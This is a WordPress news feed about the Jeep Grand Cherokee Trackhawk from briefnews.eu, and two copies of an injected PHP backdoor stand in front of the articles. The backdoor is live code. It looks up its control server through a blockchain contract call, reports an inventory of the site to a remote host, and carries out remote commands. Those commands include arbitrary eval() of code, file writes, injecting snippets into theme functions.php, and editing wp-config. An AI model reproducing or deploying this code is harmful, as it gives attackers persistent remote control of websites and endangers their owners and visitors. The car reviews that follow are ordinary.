// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); TrackHawk – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 05 Dec 2017 22:17:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png TrackHawk – Brief News https://briefnews.eu 32 32 Jeep Grand Cherokee Trackhawk joins 'Forza Motorsport 7' in Doritos car pack https://briefnews.eu/jeep-grand-cherokee-trackhawk-joins-forza-motorsport-7-in-doritos-car-pack/ https://briefnews.eu/jeep-grand-cherokee-trackhawk-joins-forza-motorsport-7-in-doritos-car-pack/#respond Tue, 05 Dec 2017 22:17:30 +0000 http://briefnews.eu/jeep-grand-cherokee-trackhawk-joins-forza-motorsport-7-in-doritos-car-pack/

In the past, Forza Motorsport car packs have been sponsored by automotive-related companies such as Alpinestars or Hot Wheels. But this latest car pack for Forza Motorsport 7 has a really bizarre sponsorship: Doritos. Even more so that there aren’t any rotary-powered cars (rotors are triangles, thus they look like Doritos). But we can’t complain too much, because the cars included are pretty great.

Leading the charge is the absurd Jeep Grand Cherokee Trackhawk with its 707-horsepower supercharged V8 and all-wheel drive. It also comes with competition in the form of the new Porsche Cayenne Turbo with its 550-horsepower twin-turbo V8. Both of these super SUVs should be great to pit against the game’s existing Bentley Bentayga and Range Rover Sport SVR.

Besides these fast people haulers, the Doritos pack (still sounds weird), comes with a selection of classic road and race cars. The road cars include the 1955 Chevrolet 150, the more plain version of the Bel Air, the 1939 BMW 328, and the 1985 Nissan Safari diesel. The race cars include the spindly blue 1926 Bugatti Type 35, and the 1962 Porsche 804, an F1 car from the famous sports car builder.

The car pack is available now and comes with either the Forza Motorsport 7 Ultimate Edition, which retails for $ 99.99, or with the separate car pass, which can be downloaded from the Xbox store for $ 29.99. Both of these products include additional car packs besides the Doritos pack.

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]]> https://briefnews.eu/jeep-grand-cherokee-trackhawk-joins-forza-motorsport-7-in-doritos-car-pack/feed/ 0 2018 Jeep Grand Cherokee Trackhawk Drivers' Notes | High-horsepower hauler https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-drivers-notes-high-horsepower-hauler/ https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-drivers-notes-high-horsepower-hauler/#respond Fri, 27 Oct 2017 16:17:17 +0000 http://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-drivers-notes-high-horsepower-hauler/

Powered by the same supercharged Hemi at the heart of Dodge’s Hellcat cars, the 2018 Jeep Grand Cherokee Trackhawk is the sort of vehicle that comes from a “Why not?” attitude from the maniacs at SRT. It’s not for the faint of heart, nor for the cash-strapped. With 707 horsepower and 645 pound-feet of torque, it’s capable of a 0-60 sprint of just 3.5 seconds. Its base price, however, is $ 86,995, though our tester’s sticker totaled just a few bucks shy of $ 100,000.

Senior Editor, Green, John Beltz Snyder: “What business does a Jeep have going 0-60 in 3.5 seconds?” This was my thought as I merged into rainy rush-hour traffic on Woodward Avenue in the 2018 Jeep Grand Cherokee Trackhawk. “Why does an SUV need to have ‘Track’ in the name?” I thought as I unintentionally broke the tires loose pulling away from a stoplight. I hit the “Eco” button, but the Jeep still roared with every toe-tap, and still managed to gulp down nearly a quarter of a tank of gas on my ride home.

That sound, though, is amazing, and surely more unsettling to other drivers coming from such a big beast of a ute.

Anyway, this Jeep feels more grown-up than other Hemi-powered vehicles I’ve driven. The fit and finish in this $ 99,000 Jeep is far nicer than, say, the Dodge Durango SRT (though at a much higher cost). If another driver didn’t pay close attention to the badging, they might see this and think it just another Jeep. The sound, though, will give it away every time.

Associate Editor Joel Stocksdale: If Fiat-Chrysler knows how to do anything, it’s making fast SUVs, and the Grand Cherokee Trackhawk is further proof of that. And by that I mean, they know how to make them fast, and they know how to make them pleasant to drive.

The Trackhawk definitely handles the fast part better than its SRT Durango and SRT Grand Cherokee cousins, what with its extra 230-odd horsepower. This big beast seriously rockets when you punch the throttle. The nose rises up, the supercharger screams, the exhaust rumbles and the speedometer ticks up much faster than you’d ever think. And it feels strong at all revs. Also impressive is that you don’t have to really think when flooring it. The all-wheel-drive and fat tires offer so much grip the Jeep simply goes.

The pleasant to drive part comes in the fact that the Trackhawk is very comfortable. The suspension has plenty of give, providing a good ride over pockmarked Motown roads. But it still handles well, if perhaps not quite up to the standards of European super SUVs. But the thing is, no SUV is going to have sports car handling, so the tradeoff toward a bit more comfort is welcomed. Adding to the good suspension are wide, bolstered, well-padded seats that should be excellent for long-trips. The UConnect is easy to use, and there’s plenty of space inside. It’s a great all-around SUV, and it just happens to go extremely fast.

Editor-in-Chief Greg Migliore: I was psyched to drive the Trackhawk. It’s one of the most anticipated Jeeps ever — and it totally lived up to the hype. Obviously, the Hellcat engine is the spotlight feature, and it’s well-suited to the Grand Cherokee. That was the part I was curious about. It didn’t seem like a logical fit, but everything is well-tuned and sorted. It sounds good, yet not overdone. It’s also a sleeper vehicle. Yes, something is up with this Jeep. You can tell that at first glance. But Hellcat power isn’t immediately obvious. I like that. It’s also pretty chill when you’re cruising at steady speeds.

Inside, I wasn’t a fan of this maroon leather. Otherwise, the FCA U.S. controls and infotainment remain among the best in the industry. The touchscreens work, and the knobs and buttons are intuitive. Can’t ask for more. Also, many years into its lifecycle, the Grand Cherokee remains a strong, attractive player in its segment. Giving it the Trackhawk treatment wasn’t necessary, but I’m sure glad FCA did.

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]]> https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-drivers-notes-high-horsepower-hauler/feed/ 0 2018 Jeep Grand Cherokee Trackhawk – Instrumented Test https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-instrumented-test/ https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-instrumented-test/#respond Tue, 24 Oct 2017 07:42:56 +0000 http://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-instrumented-test/ –2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk—

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]]> https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-instrumented-test/feed/ 0 Helltruck: 707-hp Jeep Grand Cherokee Trackhawk Tested! https://briefnews.eu/helltruck-707-hp-jeep-grand-cherokee-trackhawk-tested/ https://briefnews.eu/helltruck-707-hp-jeep-grand-cherokee-trackhawk-tested/#respond Mon, 23 Oct 2017 20:46:30 +0000 http://briefnews.eu/helltruck-707-hp-jeep-grand-cherokee-trackhawk-tested/ 2018 Jeep Grand Cherokee Trackhawk

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We are still dealing with physics here. I just want you to remember that.” So says Erich Heuschele, manager of SRT vehicle dynamics, to the 20 or so writers he’s about to turn loose on a racetrack in the Jeep Grand Cherokee Trackhawk. We’re dealing with physics, sure, but also an earnest effort to defy them with equal parts horsepower and lunacy. Say “707-horsepower Jeep” to anyone who hasn’t been paying attention and they just wiggle a finger into an ear and squint at you. “Huh?” READ MORE ››

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]]> https://briefnews.eu/helltruck-707-hp-jeep-grand-cherokee-trackhawk-tested/feed/ 0 Grand Cherokee Trackhawk or Challenger SRT Demon https://briefnews.eu/grand-cherokee-trackhawk-or-challenger-srt-demon/ https://briefnews.eu/grand-cherokee-trackhawk-or-challenger-srt-demon/#respond Fri, 01 Sep 2017 10:27:02 +0000 http://briefnews.eu/grand-cherokee-trackhawk-or-challenger-srt-demon/

Two of FCAs biggest stars the 2018 Jeep Grand Cherokee Trackhawk and the 2018 Dodge Challenger SRT Demon. Both deliver an impressive amount of horsepower and 0-60 MPH under 4 seconds. But, which one do you want?

